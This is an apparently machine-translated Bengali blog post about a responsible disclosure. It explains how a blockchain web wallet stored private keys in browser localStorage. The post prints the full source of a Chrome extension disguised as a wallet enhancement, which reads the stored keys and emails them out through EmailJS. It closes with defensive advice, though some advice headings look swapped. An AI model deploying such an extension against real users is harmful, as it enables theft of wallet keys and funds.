জানুয়ারী 2022-এ, আমি একটি প্রুফ-অফ-স্টেক ব্লকচেইনের সম্প্রদায়ে যোগদান করেছি। প্রোটোকল এবং এর ইকোসিস্টেম যা দেয় তার সাথে খেলতে, আমি অফিসিয়াল ওয়েবসাইট এ একটি ওয়ালেট অ্যাকাউন্ট তৈরি করেছি। সাধারণ কৌতূহল ছাড়াও, আমি আগ্রহী ছিলাম কিভাবে তারা একটি ব্রাউজারে নিরাপত্তা অর্জন করে, বিশেষ করে এক্সটেনশনের যুগে এবং ক্লায়েন্ট-সাইড দুর্বলতার মধ্যে। https://wallet.****.org দেখা গেল যে যখন একজন ব্যবহারকারী লগ ইন করেন, ওয়ালেট অ্যাপ্লিকেশন (বিল্ট ইন রিঅ্যাক্ট) পাবলিক এবং প্রাইভেট কীগুলির একটি সেট তৈরি করে এবং সেগুলিকে ব্রাউজারের স্থানীয় স্টোরেজে সংরক্ষণ করে। ডিস্ট্রিবিউটেড সিস্টেমে প্রমাণীকরণ এবং অনুমোদন তৈরি করার আমার অভিজ্ঞতার সাথে, আমি জানতাম যে এটি করা সর্বোত্তম জিনিস নয় - সাধারণভাবে, ব্রাউজার এক্সটেনশন এবং ক্লায়েন্ট-সাইড কোডের জন্য স্থানীয় স্টোরেজ থেকে ডেটা পড়া সহজ[ ]। 1 এটি প্রমাণ করার জন্য, আমি সিদ্ধান্ত নিয়েছি যা একজন শিকারের ব্রাউজার থেকে কীগুলি পুনরুদ্ধার করবে এবং সেগুলিকে আমার বেনামী ইমেল ঠিকানায় পাঠাবে৷ Chrome এর জন্য একটি সাধারণ এক্সটেনশন লেখার আমার পিকপকেট এক্সটেনশনের রুট ডিরেক্টরিটি এইরকম দেখাচ্ছে: . ├── content.js ├── email.min.js ├── index.html └── manifest.json প্রধান ফাইল হল এবং । এক্সটেনশন ইনস্টল করার জন্য পূর্বের অপরিহার্য. manifest.json content.js { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] } হল একটি ক্লাউড পরিষেবার একটি ক্লায়েন্ট লাইব্রেরি যা আপনাকে কোনো সার্ভার কোড ছাড়াই সরাসরি ব্রাউজার থেকে ইমেল পাঠাতে দেয়। হল একটি ফাঁকা HTML পৃষ্ঠা যা কিছুই প্রদর্শন করে না। মানিব্যাগ হাইজ্যাকিং যুক্তি ফাইলে থাকত: email.min.js index.html content.js emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); }); হ্যাঁ, যেমন একটি ডামি স্ক্রিপ্ট. আমি চারটি ফাইলই একটি জিপ সংরক্ষণাগারে প্যাক করেছিলাম এবং দয়া করে আমার বন্ধুকে বলেছিলাম, যার এ একটি ওয়ালেটও ছিল, তার ব্রাউজারে আমার সৃষ্টি ইনস্টল করতে (কিছু সামাজিক প্রকৌশল করার ভান করে)। এটি করার আগে, আমি তাকে আমার অনুসন্ধান এবং আমি যে তত্ত্ব প্রমাণ করার চেষ্টা করছি সে সম্পর্কে বলেছিলাম। তিনি সাহায্য করতে পেরে খুশি হয়েছিলেন, এবং ব্রাউজার এক্সটেনশন ইনস্টল হওয়ার কয়েক সেকেন্ড পরে এই ওয়ালেট অ্যাকাউন্টের সর্বজনীন এবং ব্যক্তিগত কীগুলি আমার ইনবক্সে উপস্থিত হয়েছিল। এর পরে, আমি আমার ব্রাউজারে স্থানীয় স্টোরেজের কীগুলি সংরক্ষণ করেছি এবং ওয়ালেট ওয়েবসাইট খুললাম। https://wallet.***.org আশ্চর্যজনকভাবে, আমার বন্ধুর ক্রিপ্টো-ওয়ালেট ব্যালেন্স আমার কাছে উপলব্ধ ছিল, সাথে তহবিল তোলার বিকল্প ছিল। আমার ভুক্তভোগী বন্ধুর সাথে একটি জুম কলের সময়, আমি তার কিছু তহবিল একটি বেনামী অ্যাকাউন্টে এবং ফেরত স্থানান্তর করেছি। এটা মন ফুঁ ছিল! একটি নতুন, প্রতিশ্রুতিশীল ব্লকচেইন যা সম্প্রতি একটি বিনিয়োগ রাউন্ড বন্ধ করে দিয়েছে তার ওয়ালেটে একটি বড় দুর্বলতা রয়েছে। সবচেয়ে খারাপ, তাদের ব্যবহারকারীদের জন্য 2-ফ্যাক্টর প্রমাণীকরণ ছিল। অবশ্যই, অনেক লোকই এটিকে অবিলম্বে সক্রিয় করবে না এবং অনেকে তা করেনি। একজন নৈতিক বিকাশকারী হিসাবে, আমি ব্রাউজার এক্সটেনশনের সোর্স কোড এবং ওয়েব অ্যাপ্লিকেশনের নিরাপত্তা কীভাবে উন্নত করা যায় সে সম্পর্কে আমার চিন্তা সহ একটি দুর্বলতা প্রতিবেদন তৈরি করেছি। এটি 18ই জানুয়ারি নিরাপত্তা দলের ইমেল ঠিকানায় সরাসরি পাঠানো হয়েছিল। কয়েকদিন পরে, আমি ব্লকচেইন প্রোটোকলের CISO-এর সাথে একটি কল করেছি, যারা আমাকে আশ্বস্ত করেছিল যে তারা এই সমস্যাটি সম্পর্কে অবগত এবং পরবর্তী রিলিজে এটির সমাধান করবে। ঘটনার প্রতিক্রিয়ার গতিতে আমি কিছুটা হতাশ হয়েছিলাম। দুই দিন একটি অনন্তকাল যখন কেউ ব্যবহারকারীদের অর্থ সম্পর্কে কথা বলে। তবুও, ব্লকচেইন ডেভেলপাররা আমাকে 1000 USDT এর সমপরিমাণে তাদের টোকেন দিয়েছে। 👉🏻 আপনি যে প্রযুক্তিগুলি ব্যবহার করেন এবং তাদের সুরক্ষার দিকগুলি সম্পর্কে সচেতন হন। অ্যাপ্লিকেশন বিকাশকারীদের জন্য পরামর্শ: 💡 একটি সংস্থা আপনাকে কী নিরাপত্তা বিকল্প অফার করে তা জানুন, আপনি একটি ওয়ালেট অ্যাকাউন্ট তৈরি করার সাথে সাথে দ্বি-ফ্যাক্টর প্রমাণীকরণ সক্রিয় করুন, আপনার সমস্ত তহবিল হট ওয়ালেটে সংরক্ষণ করবেন না। ক্রিপ্টো ব্যবহারকারীদের জন্য পরামর্শ: পরার যোগ্য LocalStorage ব্যবহার করা নিরাপদ? | Snyk অনুগ্রহ করে স্থানীয় স্টোরেজ ব্যবহার করা বন্ধ করুন HTTP কুকিজ ব্যবহার করা - HTTP | MDN শুধুমাত্র Http | OWASP ফাউন্ডেশন এছাড়াও প্রকাশিত. এখানে